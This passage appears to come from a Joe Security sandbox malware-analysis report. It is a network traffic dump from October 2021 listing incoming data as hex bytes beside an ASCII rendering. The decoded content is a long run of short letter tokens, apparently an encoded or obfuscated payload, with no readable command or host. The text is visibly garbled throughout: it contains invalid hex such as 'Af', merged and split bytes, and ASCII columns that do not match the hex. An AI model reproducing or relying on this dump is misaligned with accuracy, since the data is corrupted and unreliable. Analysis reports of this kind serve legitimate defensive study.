6b 20 59 78 20 59 4b 20 6f 4f 78 20 4f 6f 6f 20 4f 6b 6b 20 4f 6f 4b 20 4f 78 74 20 59 78 20 4f 59 52 20 59 4f 20 4f 4b 6f 20
6f 4b 4f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 6b 78 20 59 52 20 6f 6f 74 20 45 51 20 6f 51 20 4f 4f 51 20 6f 4f
74 20 4f 78 6b 20 4f 74 74 20 4f 59 4f 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 6f 4b 4b 20 4f 6f 59 20 4f 4f 59 20 4f 4f 6f 20
4f 74 45 20 45 74 20 4f 59 51 20 59 59 20 4f 59 74 20 6f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 6b 6f 20 59
6b 20 4f 74 20 6b 4b 20 6f 4f 45 20 51 52 20 4f 51 6f 20 4f 4f 45 20 6f 6f 4b 20 4f 4b 51 20 59 78 20 59 4b 20 6b 4b 20 4f 4f
4b 20 6f 4b 45 20
Data Ascii: Yk OxO EY Oot kO 00t OOR 000 00E Yx Kk Yx YK 00x Ooo Okk OoK Oxt Yx OYR YO OKo oKO OOK OOt
OxQ 000 Okx YR oot EQ 0Q OOQ 00t Oxk Ott OYO Kk Yx YK kK oKK OoY OOY OOo OtE Et OYQ YY OYt 00Y OOt
OxQ 000 Yx Oko Yk Ot kK 0OE QR OQo OOE 00K OKQ Yx YK kK OOK oKE

2021-10-29 18:30:02 UTC 1816 IN Data Raw: 4b 20 4f 6f 59 20 6f 4f 52 20 4f 6f 78 20 6f 59 4f 20 4b 6b 20 6f 6f 59 20 59 59 20 74 6b 20 6f 4f 51 20 4f 4f 74
20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 6b 6f 20 59 6b 20 4f 45 51 20 51 6f 20 51 6b 20 4f 4f 74 20 4f 51 78 20 4f 4f 45 20 4f
74 20 4f 59 45 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 4b 45 20 4f 78 4f 20 74 52 20 59 74 20 6f 4b 51 20 59 78 20 6f
6f 52 20 6b 59 20 6b 51 20 6f 6f 78 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 6b 78 20 52 6f 20 4f 52 20 4f 6f 4f 20 4f
78 4f 20 4f 78 51 20 4f 52 4b 20 59 4f 20 4b 20 4f 59 59 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 6f 45 59 20 4f 6f 78 20
6f 45 59 20 52 78 20 6f 59 4f 20 59 4b 20 4f 6f 51 20 4f 4f 59 20 74 45 20 4f 51 52 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78
20 4f 74 52 20 51 6f 20 4f
Data Ascii: K OoY 0OR Oox 0YO Kk 00Y YY tk 00Q OOt OxQ OOo Yx Oko Yk OEQ Qo Qk OOt OQx OOE Ot OYE Yx
YK kK OOK oKE OxO tR Yt oKQ Yx 00R kY kQ oox OxQ OO0 Yx Kk Okx Ro OR 000 OxO OxQ ORK YO K OYY YK kK
OOK OOt oEY Oox 0EY Rx 0YO YK OoQ OOY tE OQR 000 Yx Kk Yx OtR Qo O

2021-10-29 18:30:02 UTC 1820 IN Data Raw: 4b 6b 20 59 78 20 4f 6b 4f 20 6b 4b 20 4f 6f 45 20 4f 4f 51 20 4f 51 59 20 4f 78 4b 20 4f 78 6b 20 59 78 20 74
59 20 4f 59 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6f 4b 45 20 59 78 20 51 6b 20 4b 6b 20 6f 6f 4f 20 52 74 20
4b 59 20 4f 4f 51 20 6f 45 52 20 6f 4f 51 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6f 4f 78 20 4f 78 52 20 6f 59 4f 20 6b 51
20 4f 4f 74 20 59 78 20 6b 78 20 4b 6b 20 4f 59 78 20 6f 59 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 6f 4f 4f 20
4b 51 20 4f 45 4f 20 6f 4f 20 6b 59 20 4f 4f 4b 20 6f 78 20 4f 4f 4f 20 6f 4f 6f 20 4f 59 45 20 4b 6b 20 59 78 20 59 4b 20 6b
4b 20 4f 4b 74 20 4f 4f 52 20 4f 52 4f 20 4b 6b 20 4b 4f 20 4b 6b 20 6b 45 20 59 6f 20 4b 20 6f 6f 45 20 4f 4f 74 20 4f 78 51
20 4f 4f 6f 20 59 78 20 6f 78
Data Ascii: Kk Yx OkO kK OoE O0OQ OQY OxK Oxk Yx tY OYt kk OOK OOt OxQ oKE Yx Qk Kk 000 Rt KY OOQ oER
00Q Yx Kk Yx YK 00x OxR 0YO kQ OOt Yx kx Kk OYx oYY OOK OOt OxQ OO0 000 KQ OEO 00 kY OOK ox OO0
000 OYE Kk Yx YK kK OKt OOR ORO Kk KO Kk kE Yo K 0oE OOt OxQ OO0 Yx 0x

2021-10-29 18:30:02 UTC 1824 IN Data Raw: 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20
74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f
78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f
4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 6b 20
59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 20 59
4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f 4f 74 20
4f 78 51 20 4f 4f 4b 20 59 78 20 4f
Data Ascii: Ot OxQ OOK Yx OYQ Ox YK kK OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx OYQ Ox YK kK OOE
OO0t to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx OYQ Ox YK kK OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx
OYQ Ox YK kK OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx O

2021-10-29 18:30:02 UTC 1828 IN Data Raw: 20 4f 4f 74 20 74 4b 20 6b 4f 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 45 20 4f 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f
4f 45 20 59 78 20 4b 59 20 4f 52 20 59 4b 20 6b 4b 20 4f 4f 6f 20 4f 4f 74 20 59 6f 20 4b 51 20 59 78 20 4b 6b 20 59 4f 20
59 4b 20 6f 78 45 20 4b 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 4f 51 20 6f 4f 20 59 4b 20 6b 4b 20 4f 4f 59 20
4f 4f 74 20 59 6b 20 59 4f 20 45 4b 20 45 6f 20 4b 6b 20 59 4b 20 6f 45 74 20 6b 51 20 4f 78 4f 20 4f 6f 59 20 4f 4f 59 20
59 78 20 6f 4b 6f 20 6f 59 20 59 4b 20
Data Ascii: OOt tK kO Yx Kk YO YK E OOk OOt OxQ OOE Yx KY OR YK kK OO0 OOt Yo KQ Yx Kk YO YK oxE Kk OOt
OxQ OOK Yx O0Q 00 YK kK OOY OOt Yk YO EK Eo Kk YK oEt kQ OxO OoY OOQY Yx oKo oY YK
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:30:02 UTC 1828 IN Data Raw: 6b 4b 20 4f 4f 6b 20 4f 4f 74 20 52 6b 20 74 4f 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 6f 59 6f 20 51 4f 20 4f 4f
74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 59 6f 20 6f 74 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4f 51 74 20 6b 51 20
59 78 20 4b 6b 20 59 4f 20 59 4b 20 4f 51 20 6b 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 4f 51 20 6f 4f 20 59
4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4b 6f 20 6b 74 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 4f 51 20 6b 59 20 4f 4f 74 20
Af 78 51 20 4f 4f 45 20 59 78 20 4f 4f 51 20 6f 4f 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 52 78 20 6b 51 20 59 78 20
4b 6b 20 4b 6b 20 59 4b 20 6f 6f 78 20 51 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 4f 51 20 6f 4f 20 59 4b 20 6b
4b 20 4f 4f 59 20 4f 4f 74 20 4b
Data Ascii: kK OOk OOt Rk tO Yx Kk YO YK oYo QO OOt OxQ OOE Yx OYo ot YK kk OOY OOt OQt kQ Yx Kk YO YK
0OQ kY OOt OxQ OOE Yx O0Q 00 YK kK OOY OOt Ko kt Yx Kk YO YK OQ kY OOt OxQ OOE Yx OOQ 00 YK kK OOY
OO0t Rx kQ Yx Kk Kk YK 0oox QO OOt OxQ OOE Yx O0Q 00 YK kK OOY OOt K

2021-10-29 18:30:02 UTC 1832 IN Data Raw: 4f 74 20 4f 78 51 20 4f 6f 45 20 59 78 20 4f 6f 4f 20 4f 59 20 59 6f 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 51 4f 20
59 78 20 59 78 20 4b 6b 20 4b 6b 20 59 4b 20 4f 4f 45 20 74 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 6f 4f 20
459 20 59 4b 20 6b 4b 20 4f 4f 6f 20 4f 4f 74 20 51 51 20 4f 4f 78 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 51 51 20 4b 6b
20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 74 20 4f 4f 6f 20 59 4b 20 6b 4b 20 4f 4f 6f 20 4f 4f 74 20 4f 52 74 20 51 78
20 59 78 20 4b 6b 20 4b 51 20 59 4b 20 6f 51 20 74 51 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 6f 4f 20 4f 6f 20 59 4
b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 45 52 20 74 74 20 59 78 20 4b 6b 20 4b 6b 20 59 4b 20 51 78 20 4f 78 6b 20 4f 4f 74
20 4f 78 51 20 4f 4f 45 20 59 78
Data Ascii: Ot OxQ O0E Yx 000 OY Yo kk OOY OOt QO Yx Yx Kk Kk YK OOE tR OOt OxQ OOE Yx 000 OY YK kK
000 00t QQ 00X Yx Kk YO YK QQ Kk OOt OxQ OOE Yx t 000 YK kk 000 OOt ORt Qx Yx Kk KQ YK 0Q tQ OOt OxQ
OOE Yx 00 0o YK kk OOY OOt ER tt Yx Kk Kk YK Qx Oxk OOt OxQ OOE Yx

2021-10-29 18:30:02 UTC 1836 IN Data Raw: 20 4f 51 51 20 6b 74 20 6f 6b 20 4f 78 52 20 4f 74 74 20 4f 4f 52 20 6f 45 78 20 4b 6b 20 4f 51 78 20 6f 51 20 4f
4f 59 20 4f 4f 4b 20 4f 4f 52 20 4f 78 6b 20 6f 59 4b 20 52 20 6f 4f 4f 20 59 4b 20 45 51 20 6b 59 20 74 20 52 6b 20 4f 45
59 20 4f 4f 52 20 59 4f 20 59 6f 20 52 6b 20 51 20 4f 52 74 20 4f 4f 6b 20 4f 4f 52 20 4f 78 59 20 4f 6f 4f 20 51 20 6f 78 4f
20 59 4b 20 52 45 20 6b 78 20 45 45 20 4f 4f 78 20 4f 4b 52 20 4f 4f 52 20 6f 45 6b 20 4b 6b 20 4f 6b 6b 20 6f 20 6b 59 20
Af Af 4b 20 4f 78 78 20 4f 78 59 20 4f 45 45 20 6f 4f 20 4b 78 20 59 59 20 6f 45 20 6b 78 20 6f 4f 74 20 6b 52 20 4f 78 6b 2
0 4f 4f 6f 20 4f 51 20 59 6f 20 4b 74 20 4f 4f 6b 20 6b 59 20 4f 4f 4b 20 4f 4f 52 20 4f 78 6b 20 4f 6b 78 20 4f 74 20 4b 51
20 59 78 20 4b 74 20 6b 59 20
Data Ascii: OQQ kt ok OxR Ott OOR oEx Kk OQx 0Q OOY OOK OOR Oxk 0YK R 000 YK EQ kY t Rk OEY OOR YO Yo
Rk Q ORt OOk OOR OxY 000 Q 0xO YK RE kx EE OOx OKR OOR oEk Kk Okk 0 kY OOK Oxx OxY OEE 00 Kx YY oE
kx 0Ot kR Oxk OO0 OQ Yo Kt OOk kY OOK OOR Oxk Okx Ot KQ Yx Kt kY

2021-10-29 18:30:02 UTC 1840 IN Data Raw: 20 6f 20 6b 59 20 4f 4f 4b 20 45 52 20 4f 78 4b 20 6f 4b 6f 20 6f 4f 20 52 6b 20 52 45 20 4f 78 45 20 6b 4f 20 6f
78 74 20 6b 6f 20 6f 59 20 4f 6f 59 20 4f 78 74 20 59 45 20 4b 4f 20 4f 4b 20 4b 59 20 4f 6f 74 20 52 78 20 4f 4f 4f 20 6f 4b
20 4f 4f 4b 20 4f 74 52 20 52 45 20 4f 6f 74 20 6b 52 20 6f 59 4b 20 59 45 20 6f 45 74 20 4f 6f 59 20 4f 6f 45 20 59 78 20
74 59 20 4f 4f 6b 20 6f 4f 6f 20 4f 6f 74 20 52 78 20 4f 4f 4f 20 4b 78 20 4f 4f 4b 20 4f 74 52 20 52 45 20 4f 78 45 20 6b 4f 2
0 6f 78 6b 20 4f 78 52 20 6f 45 4b 20 4f 6f 59 20 51 4f 20 59 45 20 4f 6b 6b 20 6f 20 6b 59 20 4f 4f 4b 20 6f 6b 20 4f 78 4b
2052 74 20 6f 4b 20 59 45 20 59 78 20 51 59 20 6b 4f 20 4f 78 45 20 51 59 20 4f 78 4b 20 4f 4f 6f 20 51 4f 20 59 45 20 6f
52 20 4b 59 20 6b 4f 20 4f
Data Ascii: 0 kY OOK ER OxK oKo 00 Rk RE OXE kO oxt ko oY OoY Oxt YE KO OK KY Oot Rx OO0 oK OOK OtR RE
Oot kR oYK YE oEt OoY OoE Yx tY OOk 000 Oot Rx OO0 Kx OOK OtR RE OXE kO oxk OxR oEK OoY QO YE Okk o
kY OOK ok OxK Rt oK YE Yx QY kO OxE QY OxK OO0 QO YE oR KY kO O

2021-10-29 18:30:02 UTC 1845 IN Data Raw: 78 52 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 6b 59 20 6b 45 20 6f 78 51 20 4f 4f 74 20 4f 4f 45 20 4f 4f 78 20
51 4f 20 59 59 20 4f 6f 51 20 59 4b 20 6f 45 4b 20 4f 78 4b 20 6f 4b 4b 20 4f 78 52 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f
20 4f 6b 4f 20 6b 45 20 6f 78 51 20 4f 4f 74 20 4b 4f 20 4f 4f 78 20 4f 6b 74 20 59 59 20 4f 6f 51 20 59 4b 20 4f 59 4b 20 4f
78 4b 20 6f 4f 6f 20 4f 78 52 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 4f 4b 51 20 6b 45 20 6f 78 51 20 4f 4f 74 20 52 20 4f
4f 78 20 4f 59 59 20 59 59 20 4f 6f 51 20 59 4b 20 4f 45 51 20 4f 78 4b 20 4f 6b 78 20 4f 78 52 20 59 4f 20 59 78 20 4f 51
6b 20 52 4f 20 6f 4b 59 20 6b 45 20 6f 78 51 20 4f 4f 74 20 6f 59 59 20 4f 4f 78 20 6f 59 4f 20 59 59 20 4f 6f 51 20 59 4b 2C
4f 52 4b 20 4f 78 4b 20 4f
Data Ascii: XR YO Yx OQk RO kY kE oxQ OOt OOE OOx QO YY 00Q YK oEK OxK oKK OxR YO Yx OQk RO OkO kE o
xQ OOt KO OOx Okt YY 00Q YK OYK OxK 000 OxR YO Yx OQk RO OKQ kE oxQ OOt R OOx OYY YY OoQ YK OEQ
OxK Okx OxR YO Yx OQk RO oKY kE oxQ OOt oYY OOx 0YO YY OoQ YK ORK OxK O

2021-10-29 18:30:02 UTC 1849 IN Data Raw: 51 6b 20 52 4f 20 4f 4f 6b 20 4f 4f 51 20 4b 51 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 6b 6f 20 4f 51 20 4f 4f 45
20 59 4b 20 4f 52 6f 20 4f 6f 59 20 6f 4b 59 20 74 6b 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 4f 59 78 20 4f 4f 51 20 4b
51 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 6f 4f 78 20 4f 51 20 4f 4f 45 20 59 4b 20 4f 52 6f 20 4f 6f 59 20 4f 4f 74 20 74 45
20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 6f 6f 20 4f 4f 6f 20 4b 51 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 4f 4f 4b 20 6f 78 2
0 4f 4f 45 20 59 4b 20 4f 52 6f 20 4f 6f 59 20 6f 4f 20 74 45 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 4f 6b 6f 20 4f 4f 6f 20
4b 51 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 4f 4b 52 20 6f 78 20 4f 4f 45 20 59 4b 20 4f 52 6f 20 4f 6f 59 20 4f 6b 4f 20 74
45 20 59 4f 2059 78
Data Ascii: Qk RO OOk OOQ KQ OOt OYY Oot ko OQ OOE YK ORo OoY oKY tk YO Yx OQk RO OYx O0Q KQ OOt
OYY Oot 00x OQ OOE YK ORo OoY OOt tE YO Yx OQk RO 0o OO0 KQ OOt OYY Oot OOK ox OOE YK ORo OoY 00
tE YO Yx OQk RO Oko OO0 KQ OOt OYY Oot OKR ox OOE YK ORo OoY OkO tE YO Yx

2021-10-29 18:30:02 UTC 1853 IN Data Raw: 78 51 20 6f 45 20 59 78 20 4b 51 20 59 78 20 4b 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 59 20 4f 4f 6f 20 59 4f
20 4b 6b 20 4f 6b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 6b 20 4f 78 51 20 4f 4f 45 20 59 78 20 6f 6f 20 59 78 20 59 4b 20 6b
4b 20 6f 4b 20 4f 4f 74 20 4f 78 6b 20 4f 4f 6f 20 6f 52 20 4b 6b 20 59 78 20 59 4b 20 52 45 20 4f 4f 4b 20 4f 4f 52 20 4f 78
51 20 51 78 20 59 78 20 4b 6b 20 59 78 20 51 78 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 52 59 20 4f 4f 6f 20 59 78 20 4b 6b
20 51 59 20 59 4b 20 6b 59 20 4f 4f 4b 20 51 4f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 51 4b 20 59 78 20 59 59 20 6b 4b 20
52 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 51 45 20 4b 6b 20 59 4f 20 59 4b 20 4f 4f 78 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51
20 78 20 59 78 20 4b 51 20 59 78 20 6b
Data Ascii: xQ oE Yx KQ Yx Kx kK OOK OOt Y OO0 YO Kk Ok YK kK OOK ok OxQ OOE Yx 00 Yx YK kK oK OOt Oxk
000 oR Kk Yx YK RE OOK OOR OxQ Qx Yx Kk Yx Qx kk OOY OOt RY OO0 Yx Kk QY YK kY OOK QO OxQ OO0 Yx
QK Yx YY kK RR OOt OxQ OO0 QE Kk YO YK OOx OOK OOt OxQ x Yx KQ Yx k

2021-10-29 18:30:02 UTC 1857 IN Data Raw: 59 20 4f 4f 74 20 4f 78 6b 20 4f 4f 6f 20 4f 52 20 4b 51 20 6f 4f 20 59 4b 20 6b 52 20 4f 4f 4b 20 6b 52 20 4f 78
6b 20 6b 51 20 59 78 20 4b 51 20 59 78 20 4f 6b 20 6b 59 20 51 4f 20 4f 4f 74 20 4f 4f 4f 20 4f 4f 6f 20 6f 45 20 4b 51 20 6f
59 20 59 4b 20 6b 59 20 4f 4f 4b 20 6b 45 20 4f 78 6b 20 51 4f 20 59 78 20 59 78 20 59 78 20 4f 74 20 6b 59 20 51 59 20
Af 4f 74 20 4f 78 6b 20 4f 4f 6f 20 6f 52 20 4b 51 20 45 4f 20 59 4b 20 6b 52 20 4f 4f 4b 20 51 6f 20 4f 78 6b 20 51 59 20 59
78 20 4b 51 20 59 78 20 6f 6b 20 6b 59 20 51 45 20 4f 4f 74 20 4f 4f 4f 20 4f 4f 6f 20 45 4f 20 4b 51 20 45 20 59 4b 20 6b
59 20 4f 4f 4b 20 51 4f 20 4f 78 6b 20 52 59 20 59 78 20 59 78 20 59 78 20 6f 59 20 6b 59 20 52 59 20 4f 4f 74 20 4f 78 6b
20 4f 4f 6f 20 6f 20 4b 51 20 4f
Data Ascii: Y OOt Oxk OO0 OR KQ 00 YK kR OOK kR Oxk kQ Yx KQ Yx Ok kY QO OOt OO0 OOo oE KQ oY YK kY
OOK kE Oxk QO Yx Yx Yx Ot kY QY OOt Oxk OO0 oR KQ EO YK kR OOK Qo Oxk QY Yx KQ Yx ok kY QE OOt OO0 O
00 EO KQ E YK kY OOK QO Oxk RY Yx Yx Yx oY kY RY OOt Oxk OOo 0 KQ O

Copyright Joe Security LLC 2021 Page 105 of 130



kBytes
Timestamp transferred Direction Data

2021-10-29 18:30:02 UTC 1860 IN Data Raw: 4f 78 6b 20 6f 78 4f 20 59 78 20 4b 51 20 59 78 20 6f 4b 45 20 6b 59 20 6f 78 45 20 4f 4f 74 20 4f 4f 4f 20 4f 4f
6f 20 6f 4b 4b 20 4b 51 20 4f 45 74 20 59 4b 20 6b 59 20 4f 4f 4b 20 4f 74 6b 20 4f 78 6b 20 6f 78 45 20 59 78 20 59 78 20
59 78 20 6f 59 4b 20 6b 59 20 6f 78 74 20 4f 4f 74 20 4f 78 6b 20 4f 4f 6f 20 6f 59 4f 20 4b 51 20 4f 4b 45 20 59 4b 20 6b
52 20 4f 4f 4b 20 4f 51 4f 20 4f 78 6b 20 6f 78 74 20 59 78 20 4b 51 20 59 78 20 6f 59 45 20 6b 59 20 6f 78 59 20 4f 4f 74
20 4f 4f Af 20 4f 4f 6f 20 6f 59 4b 20 4b 51 20 6f 4b 45 20 59 4b 20 6b 59 20 4f 4f 4b 20 4f 6b 4b 20 4f 78 6b 20 4f 74 74 20
59 78 20 59 78 20 59 78 20 6f 4b 6b 20 6b 59 20 4f 74 74 20 4f 4f 74 20 4f 78 6b 20 4f 4f 6f 20 6f 59 45 20 4b 51 20 6f 4b
4f 20 59 4b 20 6b 52 20 4f 4f 4b
Data Ascii: Oxk 0xO Yx KQ Yx oKE kY oxE OOt OOO OO0 oKK KQ OEt YK kY OOK Otk Oxk oxE Yx Yx Yx oYK kY oxt
OO0t Oxk OO0 0YO KQ OKE YK kR OOK OQO Oxk oxt Yx KQ Yx oYE kY oxY OOt OO0 OO0 oYK KQ oKE YK kY OOK
OkK Oxk Ott Yx Yx Yx oKk kY Ott OOt Oxk OO0 0YE KQ oKO YK kR OOK

2021-10-29 18:30:02 UTC 1864 IN Data Raw: 20 52 6f 20 4b 6b 20 51 74 20 59 4b 20 6b 51 20 4f 4f 4b 20 45 45 20 4f 78 51 20 4f 6f 59 20 59 78 20 4f 78 4f
20 59 78 20 45 59 20 6b 4b 20 45 52 20 4f 4f 74 20 4f 6f 6f 20 4f 4f 6f 20 4f 78 4f 20 4b 6b 20 4f 51 20 59 4b 20 4f 6f 20 4f
4f 4b 20 6b 74 20 4f 78 51 20 4b 4f 20 59 78 20 4f 6b 20 59 78 20 4f 78 6b 20 6b 4b 20 6b 52 20 4f 4f 74 20 59 4b 20 4f 4f
6f 20 6f 6f 20 4b 6b 20 4f 4f 78 20 59 4b 20 4f 4f 45 20 4f Af 4b 20 4b 78 20 4f 78 51 20 6b 74 20 59 78 20 4f 4f 78 20 59 78
20 4f 4f 59 20 6b 4b 20 4b 59 20 4f 4f 74 20 4b 78 20 4f 4f 6f 20 6b 6f 20 4b 6b 20 4f 4f 51 20 59 4b 20 59 45 20 4f 4f 4b 2
0 4b 6b 20 4f 78 51 20 4f 6b 20 59 78 20 4f 4f 74 20 59 78 20 6b 59 20 6b 4b 20 59 59 20 4f 4f 74 20 51 20 4f 4f 6f 20 4f 4f
51 20 4b 6b 20 6b 74 20 59 4b
Data Ascii: Ro Kk Qt YK kQ OOK EE OxQ OoY Yx OxO Yx EY kK ER OOt Ooo OO0 OxO Kk OQ YK Oo OOK kt OxQ KO
Yx Ok Yx Oxk kK kR OOt YK OO0 00 Kk OOx YK OOE OOK Kx OxQ kt Yx OOx Yx OOY kK KY OOt Kx OO0 ko Kk O0Q
YK YE OOK Kk OxQ Ok Yx OOt Yx kY kK YY OOt Q OO0 OOQ Kk kt YK

2021-10-29 18:30:02 UTC 1880 IN Data Raw: 6f 20 4f 4f 45 20 6b 20 4b 20 4f 4f 59 20 51 51 20 74 4b 20 52 6b 20 4b 78 20 59 4f 20 59 20 45 20 4b 20 52 20
4f 52 20 52 74 20 4b 51 20 4b 4f 20 59 78 20 4f 4f 51 20 78 20 4f 4f 20 Af 4f 6f 20 4f 78 6b 20 52 52 20 4b 6b 20 4b 78 20
59 45 20 4f 4f 45 20 4f 4f 74 20 52 20 4f 4b 20 4f 74 20 59 4f 20 4f 4f 74 20 4b 78 20 59 78 20 4f 4f 6b 20 78 20 59 20 45
20 51 6b 20 52 74 20 52 4b 20 4b 52 20 59 78 20 4f 4f 51 20 4b 20 4f 4f 59 20 4f 20 4f 78 4f 20 52 52 20 59 4f 20 6b 4b 20
52 6b 20 45 20 78 20 4f 4f 52 20 4f 4f 6f 20 4f 74 20 4b 51 20 4b 6b 20 4b 4b 20 59 4b 20 4b 20 4f 20 45 20 52 20 6f 4f 20
52 52 20 52 6b 20 6b 4b 20 52 52 20 78 20 4f 4f 4b 20 59 78 20 4f 4f 4b 20 4f 6b 20 52 4b 20 59 59 20 4b 4f 20 59 4f 20 4f
20 51 20 59 20 45 20 4f 52 20 4b 51 20
Data Ascii: 0 OOE k K OOY QQ tK Rk Kx YO Y E KR OR Rt KQ KO Yx O0Q x OO OO0 Oxk RR Kk Kx YE OOE OOt R
OK Ot YO OOt Kx Yx OOk x Y E Qk Rt RK KR Yx O0OQ K OOY O OxO RR YO kK Rk E x OOR OO0 Ot KQ Kk KK YK K O
E R 0O RR Rk kK RR x OOK Yx OOK Ok RK YY KO YOO QY E OR KQ

2021-10-29 18:30:02 UTC 1892 IN Data Raw: 6f 6b 20 4f 6f 20 45 78 20 74 78 20 4f 4f 59 20 74 4f 20 51 78 20 45 6f 20 74 20 74 20 6b 20 4f 4f 6f 20 4f 4f 74
20 6b 59 20 74 78 20 4f 6f 74 20 59 74 20 4f 51 20 4f 6b 20 6b 20 59 78 20 6b 45 20 52 74 20 6b 74 20 59 4b 20 6f 51 20
6f 6f 20 4f 52 20 45 20 4b 20 51 4f 20 52 6b 20 74 59 20 4f 78 4f 20 4b 51 20 6f 6b 20 4f 74 20 6b 20 6f 20 4f 4f 6f 20 6b 4f
2052 59 20 6b 45 20 6b 4b 20 45 74 20 4f 52 20 4f 59 20 45 4b 20 6b 74 20 52 74 20 52 52 20 6b 51 20 59 6b 20 4f 20 4f
52 20 4f 78 51 20 59 59 20 6b 74 20 52 6b 20 51 52 20 6b 45 20 45 51 20 6f 20 6f 52 20 45 20 45 20 6b 74 20 4b 6b 20 4f
4f 45 20 51 78 20 59 51 20 4f 20 4f 52 20 4f 78 51 20 45 59 20 74 59 20 52 74 20 74 78 20 6b 45 20 59 74 20 51 6f 20 52
78 20 4b 4f 20 6f 59 20 52 59 20 52 4b 20 51
Data Ascii: ok Oo Ex tx OOY tO Qx Eo t t k OO0 OOt kY tx Oot Yt OQ Ok k Yx kE Rt kt YK 0Q 0o OR E K QO Rk tY OxO
KQ ok Ot k 0 OO0 kO RY kE kK Et OR OY EK kt Rt RR kQ Yk O OR OxQ YY kt Rk QR kE EQ o0 oR E E kt Kk OOE Qx
YQ O OR OxQ EY tY Rt tx KE Yt Qo Rx KO oY RY RK Q

2021-10-29 18:30:02 UTC 1908 IN Data Raw: 74 20 6b 51 20 59 6b 20 52 20 6f 51 20 45 78 20 4f 4f 6f 20 74 78 20 6b 6b 20 51 4f 20 52 51 20 6b 4b 20 6f 4f
20 4f 52 20 6f 59 20 4b 74 20 4f 78 6f 20 6b 51 20 6b 4f 20 51 45 20 45 51 20 4f 4f 4b 20 6f 59 20 4b 20 45 78 20 6b 51 20
52 74 20 59 78 20 52 6b 20 4b 51 20 45 4f 20 6f 52 20 6f 59 20 6f 4f 20 4f 78 6f 20 6b 4f 20 52 59 20 51 45 20 45 51 20 4f
4f 4b 20 45 45 20 45 4f 20 51 20 4f 4f 74 20 6b 59 20 74 78 20 51 6b 20 59 45 20 4f 20 45 78 20 45 78 20 4f 4f 6f 20 74 78
20 6b 4f 20 52 59 20 51 45 20 45 51 20 4f 4f 4b 20 59 74 20 6f 20 4f 51 20 6b 45 20 51 6f 20 52 59 20 59 4b 20 59 4f 20 6f
45 20 4f 20 59 78 20 59 4f 20 52 4b 20 6b 59 20 6b 52 20 6b 45 20 59 6b 20 52 20 6f 6b 20 4f 6f 20 6f 6b 20 52 59 20 4b
6b 20 51 74 20 6b 59 20 59 45 20 6f 6b 20
Data Ascii: t kQ Yk R 0Q Ex OO0 tx kk QO RQ kK 00 OR oY Kt Oxo kQ kO QE EQ OOK oY K Ex kQ Rt Yx Rk KQ EO oR
